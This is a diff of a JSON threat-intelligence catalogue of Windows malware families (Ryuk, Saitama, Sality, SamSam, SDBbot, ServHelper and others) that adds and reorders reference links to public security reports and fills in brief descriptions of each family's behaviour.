"https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", "https://www.zdnet.com/article/dod-contractor-suffers-ransomware-infection/", "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", @@ -31022,7 +36646,8 @@ "https://community.riskiq.com/article/c88cf7e6", "https://kc.mcafee.com/resources/sites/MCAFEE/content/live/CORP_KNOWLEDGEBASE/91000/KB91844/en_US/McAfee%20Labs%20Threat%20Advisory%20-%20Ransom-Ryukv6.pdf", "https://threatpost.com/apt-exploits-zerologon-targets-japanese-companies/161383/", - "https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon", + "https://4rchib4ld.github.io/blog/NiceToMeetYouRyuk/", + "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", "https://medium.com/ax1al/reversing-ryuk-eef8ffd55f12", "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", @@ -31030,7 +36655,10 @@ "https://www.secureworks.com/research/threat-profiles/gold-ulrick", "https://cofense.com/the-ryuk-threat-why-bazarbackdoor-matters-most/", "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", "https://www.reuters.com/article/usa-healthcare-cyber-idUSKBN27E0EP", + "https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider", + "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", "https://www.youtube.com/watch?v=HwfRxjV2wok", "https://www.proofpoint.com/us/blog/threat-insight/q4-2020-threat-report-quarterly-analysis-cybersecurity-trends-tactics-and-themes", "https://www.youtube.com/watch?v=CgDtm05qApE", @@ -31045,43 +36673,52 @@ "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://www.youtube.com/watch?v=BhjQ6zsCVSc", + "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-attacked-epiq-global-via-trickbot-infection/", + "https://www.eldiario.es/tecnologia/capos-cibercrimen-avisan-contratacaran-si-hackea-rusia_1_8795458.html", "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", "https://gist.github.com/aaronst/6aa7f61246f53a8dd4befea86e832456", "https://blogs.quickheal.com/deep-dive-wakeup-lan-wol-implementation-ryuk/", "https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware", "https://storage.pardot.com/652283/16118467480sqebwq7/MSP_Security_Summit___John_Hammond_Huntress___Analyzing_Ryuk.pdf", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", "https://www.bleepingcomputer.com/news/security/new-ryuk-info-stealer-targets-government-and-military-secrets/", "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets", "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", "https://twitter.com/SophosLabs/status/1321844306970251265", + "https://www.youtube.com/watch?v=BhjQ6zsCVSc", "https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware", - "https://4rchib4ld.github.io/blog/NiceToMeetYouRyuk/", + "https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon", "https://labs.sentinelone.com/an-inside-look-at-how-ryuk-evolved-its-encryption-and-evasion-techniques/", + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", "https://blog.cyberint.com/ryuk-crypto-ransomware", "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", "https://thedfirreport.com/2021/01/31/bazar-no-ryuk/", "https://thedfirreport.com/2020/10/08/ryuks-return/", "https://threatconnect.com/blog/threatconnect-research-roundup-ryuk-and-domains-spoofing-eset-and-microsoft/", "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", + "https://blogs.microsoft.com/on-the-issues/2022/04/13/zloader-botnet-disrupted-malware-ukraine/", "https://www.crowdstrike.com/blog/wizard-spider-adds-new-feature-to-ryuk-ransomware/", "https://www.bleepingcomputer.com/news/security/hacking-group-is-targeting-us-hospitals-with-ryuk-ransomware/", "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", "https://www.latimes.com/local/lanow/la-me-ln-times-delivery-disruption-20181229-story.html", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", "https://www.bleepingcomputer.com/news/security/french-it-giant-sopra-steria-hit-by-ryuk-ransomware/", "https://www.youtube.com/watch?v=Of_KjNG9DHc", "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-deployed-two-weeks-after-trickbot-infection/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", "https://securityliterate.com/reversing-ryuk-a-technical-analysis-of-ryuk-ransomware/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2019-ACT-005.pdf", "https://twitter.com/IntelAdvanced/status/1356114606780002308", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", "https://blog.talosintelligence.com/2020/06/CTIR-trends-q3-2020.html#more", + "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", "https://www.domaintools.com/resources/blog/analyzing-network-infrastructure-as-composite-objects", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", "https://www.heise.de/ct/artikel/Was-Emotet-anrichtet-und-welche-Lehren-die-Opfer-daraus-ziehen-4665958.html", "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", @@ -31093,6 +36730,7 @@ "https://www.youtube.com/watch?v=7xxRunBP5XA", "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://0xchina.medium.com/malware-reverse-engineering-31039450af27", "https://twitter.com/anthomsec/status/1321865315513520128", "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html" ], @@ -31197,6 +36835,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.saint_bot", + "https://www.cyberscoop.com/ukrainian-cyber-attacks-russia-conflict-q-and-a/", + "https://lifars.com/2022/03/a-closer-look-at-the-russian-actors-targeting-organizations-in-ukraine/", + "https://cert.gov.ua/article/18419", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/", "https://blog.malwarebytes.com/threat-analysis/2021/04/a-deep-dive-into-saint-bot-downloader/" ], "synonyms": [], @@ -31205,6 +36848,24 @@ "uuid": "aa0afca8-551e-4fc7-a314-f541b80c6833", "value": "Saint Bot" }, + { + "description": "This in .Net witten backdoor abuses the DNS protocoll for its C2 communication. Also other techniques (e.g. long random sleeps, compression) are used to become more stealthy.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.saitama", + "https://isc.sans.edu/diary/Translating+Saitama%27s+DNS+tunneling+messages/28738", + "https://blog.malwarebytes.com/threat-intelligence/2022/05/apt34-targets-jordan-government-using-new-saitama-backdoor/", + "https://www.fortinet.com/blog/threat-research/please-confirm-you-received-our-apt", + "https://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html" + ], + "synonyms": [ + "Saitama" + ], + "type": [] + }, + "uuid": "435e482d-adfe-4b28-936e-d13fda800767", + "value": "Saitama Backdoor" + }, { "description": "Sakula / Sakurel is a trojan horse that opens a back door and downloads potentially malicious files onto the compromised computer.", "meta": { @@ -31212,7 +36873,9 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sakula_rat", "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/black-vine-cyberespionage-group-15-en.pdf", "https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Sakula", + "https://web.archive.org/web/20151001235506/https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=654", "https://www.secureworks.com/research/sakula-malware-family", + "https://docs.broadcom.com/doc/the-black-vine-cyberespionage-group", "https://cyberthreatintelligenceblog.wordpress.com/2018/11/16/c0ld-case-from-aerospace-to-chinas-interests/", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/sakula-an-adventure-in-dll-planting/?page=1", @@ -31244,15 +36907,18 @@ "value": "Salgorea" }, { - "description": "", + "description": "F-Secure states that the Sality virus family has been circulating in the wild as early as 2003. Over the years, the malware has been developed and improved with the addition of new features, such as rootkit or backdoor functionality, and so on, keeping it an active and relevant threat despite the relative age of the malware.\r\n\r\nModern Sality variants also have the ability to communicate over a peer-to-peer (P2P) network, allowing an attacker to control a botnet of Sality-infected machines. The combined resources of the Sality botnet may also be used by its controller(s) to perform other malicious actions, such as attacking routers.\r\n\r\nInfection\r\nSality viruses typically infect executable files on local, shared and removable drives. In earlier variants, the Sality virus simply added its own malicious code to the end of the infected (or host) file, a technique known as prepending. The viral code that Sality inserts is polymorphic, a form of complex code that is intended to make analysis more difficult.\r\n\r\nEarlier Sality variants were regarded as technically sophisticated in that they use an Entry Point Obscuration (EPO) technique to hide their presence on the system. This technique means that the virus inserts a command somewhere in the middle of an infected file's code, so that when the system is reading the file to execute it and comes to the command, it forces the system to 'jump' to the malware's code and execute that instead. This technique was used to make discovery and disinfection of the malicious code harder.\r\n\r\nPayload\r\nOnce installed on the computer system, Sality viruses usually also execute a malicious payload. The specific actions performed depend on the specific variant in question, but generally Sality viruses will attempt to terminate processes, particularly those related to security programs. The virus may also attempt to open connections to remote sites, download and run additional malicious files, and steal data from the infected machine.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sality", - "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/sality_peer_to_peer_viral_network.pdf", - "https://www.researchgate.net/profile/Lorenzo-De-Carli/publication/320250366_Botnet_protocol_inference_in_the_presence_of_encrypted_traffic/links/5fa9608792851cc286a08592/Botnet-protocol-inference-in-the-presence-of-encrypted-traffic.pdf?origin=publication_detail", "https://unit42.paloaltonetworks.com/c2-traffic/", - "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P18-Kleissner-Sality.pdf", - "https://gist.githubusercontent.com/quangnh89/41deada8a936a1877a6c6c757ce73800/raw/41f27388a11a606e1d6a7596dcb6469578e79321/sality_extractor.py" + "https://www.researchgate.net/profile/Lorenzo-De-Carli/publication/320250366_Botnet_protocol_inference_in_the_presence_of_encrypted_traffic/links/5fa9608792851cc286a08592/Botnet-protocol-inference-in-the-presence-of-encrypted-traffic.pdf?origin=publication_detail", + "https://gist.githubusercontent.com/quangnh89/41deada8a936a1877a6c6c757ce73800/raw/41f27388a11a606e1d6a7596dcb6469578e79321/sality_extractor.py", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/sality_peer_to_peer_viral_network.pdf", + "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P18-Kleissner-Sality.pdf" ], "synonyms": [], "type": [] @@ -31279,24 +36945,34 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.samsam", "https://www.secureworks.com/research/threat-profiles/gold-lowell", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "http://blog.talosintel.com/2016/03/samsam-ransomware.html", "https://sites.temple.edu/care/ci-rw-attacks/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", - "https://www.crowdstrike.com/blog/an-in-depth-analysis-of-samsam-ransomware-and-boss-spider/", "https://www.secureworks.com/research/samsam-ransomware-campaigns", "https://www.justice.gov/opa/pr/two-iranian-men-indicted-deploying-ransomware-extort-hospitals-municipalities-and-public", "https://www.secureworks.com/blog/ransomware-deployed-by-adversary", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", - "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/samsam-ransomware-chooses-its-targets-carefully-wpna.aspx", - "https://nakedsecurity.sophos.com/2018/05/01/samsam-ransomware-a-mean-old-dog-with-a-nasty-new-trick-report/", - "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://nakedsecurity.sophos.com/2018/07/31/samsam-the-almost-6-million-ransomware/", + "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf", "https://www.secureworks.com/blog/samsam-converting-opportunity-into-profit", - "https://www.secureworks.com/blog/samas-ransomware", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://news.sophos.com/en-us/2018/11/29/how-a-samsam-like-attack-happens-and-what-you-can-do-about-it/", "http://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/" + "https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", + "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/samsam-ransomware-chooses-its-targets-carefully-wpna.aspx", + "https://news.sophos.com/en-us/2018/07/31/samsam-guide-to-coverage/", + "https://nakedsecurity.sophos.com/2018/08/02/how-to-defend-yourself-against-samsam-ransomware/", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://news.sophos.com/en-us/2018/07/31/sophoslabs-releases-samsam-ransomware-report/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "http://blog.talosintel.com/2016/03/samsam-ransomware.html", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.justice.gov/opa/press-release/file/1114746/download", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://therecord.media/iranian-hackers-behind-cox-media-group-ransomware-attack/", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://www.crowdstrike.com/blog/an-in-depth-analysis-of-samsam-ransomware-and-boss-spider/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://nakedsecurity.sophos.com/2018/05/01/samsam-ransomware-a-mean-old-dog-with-a-nasty-new-trick-report/", + "https://www.secureworks.com/blog/samas-ransomware" ], "synonyms": [ "Samas" @@ -31502,6 +37178,22 @@ "uuid": "92a65c89-acc3-4ee7-8db0-f0ea293ed12d", "value": "Schneiken" }, + { + "description": "The Chinese threat actor has used a custom backdoor dubbed \"Scieron\" over years in several campaigns according to SentinelLABS.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.scieron", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=8bfa7311-fdd9-4f8d-b813-1ab6c9d2c363", + "https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e343583b-8338-42ea-af60-311578146151", + "value": "Scieron" + }, { "description": "", "meta": { @@ -31547,27 +37239,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sdbbot", - "https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", + "https://vblocalhost.com/uploads/VB2020-Jung.pdf", + "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.96_ENG.pdf", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.secureworks.com/research/threat-profiles/gold-tahoe", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546", + "https://github.com/Tera0017/SDBbot-Unpacker", + "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104", "https://www.cyber.gov.au/acsc/view-all-content/alerts/sdbbot-targeting-health-sector", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/", - "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.96_ENG.pdf", - "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", - "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", - "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://github.com/Tera0017/SDBbot-Unpacker", - "https://vblocalhost.com/uploads/VB2020-Jung.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-tahoe" + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", + "https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/" ], "synonyms": [], "type": [] @@ -31646,6 +37339,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sedreco", + "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf", "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", "https://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf", @@ -31665,10 +37359,11 @@ "value": "Sedreco" }, { - "description": "", + "description": "simple tool to facilitate download and persistence of a next-stage tool; collects system information and metadata probably in an attempt to tell sandbox-environments apart from real targets on the server-side; uses domains of search engines like Google to check for Internet connectivity; XOR-based string obfuscation with a 16-byte key", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.seduploader", + "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf", "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/", "https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government", "https://researchcenter.paloaltonetworks.com/2016/06/unit42-new-sofacy-attacks-against-us-government-agency/", @@ -31678,15 +37373,19 @@ "http://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html", "https://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf", "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", + "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", "https://www.secureworks.com/research/threat-profiles/iron-twilight", + "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/", "http://www.welivesecurity.com/2015/07/10/sednit-apt-group-meets-hacking-team/", "http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-flash-zero-day-used-in-pawn-storm-campaign/", "https://www.welivesecurity.com/2017/05/09/sednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy/", "https://blog.xpnsec.com/apt28-hospitality-malware-part-2/", + "https://blog.yoroi.company/research/apt28-and-upcoming-elections-possible-interference-signals-part-ii/", "https://www.proofpoint.com/us/threat-insight/post/apt28-racing-exploit-cve-2017-11292-flash-vulnerability-patches-are-deployed" ], "synonyms": [ + "GAMEFISH", "carberplike", "downrage", "jhuhugit", @@ -31715,8 +37414,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sekhmet", + "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html", "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/", "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/", "https://id-ransomware.blogspot.com/2020/03/sekhmet-ransomware.html", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", @@ -31730,6 +37431,19 @@ "uuid": "b4b4e8c8-fc66-4618-ba35-75f21d7d6922", "value": "Sekhmet" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.selfmake", + "https://twitter.com/8th_grey_owl/status/1481433481485844483" + ], + "synonyms": [], + "type": [] + }, + "uuid": "2ef98145-45b8-4acf-ba28-71f495581387", + "value": "SelfMake Loader" + }, { "description": "", "meta": { @@ -31790,27 +37504,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.servhelper", + "https://threatrecon.nshc.net/2019/08/29/sectorj04-groups-increased-activity-in-2019/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", + "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware", + "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/", "https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html", "https://insights.oem.avira.com/ta505-apt-group-targets-americas/", - "https://threatrecon.nshc.net/2019/08/29/sectorj04-groups-increased-activity-in-2019/", - "https://securitynews.sonicwall.com/xmlpost/servhelper-2-0-enriched-with-bot-capabilities-and-allow-remote-desktop-access/", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://e.cyberint.com/hubfs/Report%20Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors%20Tools/CyberInt_Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors'%20Tools_Report.pdf", - "https://medium.com/walmartglobaltech/ta505-adds-golang-crypter-for-delivering-miners-and-servhelper-af70b26a6e56", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "https://ti.360.net/blog/articles/excel-4.0-macro-utilized-by-ta505-to-target-financial-institutions-recently-en/", - "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware", - "https://www.binarydefense.com/an-updated-servhelper-tunnel-variant/", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/servhelper-evolution-and-new-ta505-campaigns/", - "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://blog.trendmicro.com/trendlabs-security-intelligence/ta505-at-it-again-variety-is-the-spice-of-servhelper-and-flawedammyy/", - "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part2/", - "https://www.gdatasoftware.com/blog/2020/07/36122-hidden-miners", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/servhelper-evolution-and-new-ta505-campaigns/", + "https://securitynews.sonicwall.com/xmlpost/servhelper-2-0-enriched-with-bot-capabilities-and-allow-remote-desktop-access/", + "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505", + "https://www.secureworks.com/research/threat-profiles/gold-tahoe", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-tahoe" + "https://www.gdatasoftware.com/blog/2020/07/36122-hidden-miners", + "https://e.cyberint.com/hubfs/Report%20Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors%20Tools/CyberInt_Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors'%20Tools_Report.pdf", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://ti.360.net/blog/articles/excel-4.0-macro-utilized-by-ta505-to-target-financial-institutions-recently-en/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/ta505-at-it-again-variety-is-the-spice-of-servhelper-and-flawedammyy/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://medium.com/walmartglobaltech/ta505-adds-golang-crypter-for-delivering-miners-and-servhelper-af70b26a6e56", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.binarydefense.com/an-updated-servhelper-tunnel-variant/" ], "synonyms": [], "type": [] @@ -31818,6 +37533,24 @@ "uuid": "cebfa7af-8c31-4dda-8373-82893c7f43f4", "value": "ServHelper" }, + { + "description": "Ransomware", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.sfile", + "https://id-ransomware.blogspot.com/2020/02/sfile2-ransomware.html", + "https://twitter.com/GrujaRS/status/1296856836944076802?s=20", + "https://www.sentinelone.com/blog/from-the-front-lines-another-rebrand-mindware-and-sfile-ransomware-technical-breakdown/" + ], + "synonyms": [ + "Escal", + "Morseop" + ], + "type": [] + }, + "uuid": "6899dd08-a94b-4e76-813e-1b8437d23aa4", + "value": "Sfile" + }, { "description": "", "meta": { @@ -31854,30 +37587,43 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad", "https://www.youtube.com/watch?v=_fstHQSK-kk", + "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/", 